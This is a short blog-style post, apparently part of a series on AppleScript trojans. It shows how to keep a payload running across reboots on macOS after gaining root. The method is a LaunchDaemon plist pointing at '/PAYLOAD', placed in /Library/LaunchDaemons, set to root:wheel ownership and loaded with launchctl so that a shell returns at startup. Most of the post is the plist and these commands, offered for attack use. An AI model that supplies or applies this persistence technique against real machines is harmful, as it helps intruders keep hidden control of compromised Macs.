So, if you've read Applescript trojan in PDF files and Applescript - detour to root, time for some more fun. There's really no use if we can't have a persistent payload, so let's talk about that..
Here, I dropped it into root, just for testing this out.
/PAYLOAD
Now, even if we're root, there's some files we cant write to, but Apple have been kind enough to make sure we can write custom launchd files into /Library/LaunchDaemons.
They have a special naming convention, and XML formatting, here's an example of it.
The file is called com.some.name.plist, and its full path is
/Library/LaunchDaemons/com.some.name.plist
This is the content :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.some.name.plist</string>
<key>OnDemand</key>
<false/>
<key>LaunchOnlyOnce</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/PAYLOAD</string>
</array>
</dict>
</plist>
When the file is in place, we need to chmod it to the root user, and the wheel group.
chown root:wheel com.some.name.plist
Enable it at startup with
launchctl load /Library/LaunchDaemons/com.some.name.plist
See man launchctl for more info.
When the system reboots, you should get whatever shell the service it running.
For reference, see this link
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html#//apple_ref/doc/uid/10000172i-SW7-105327

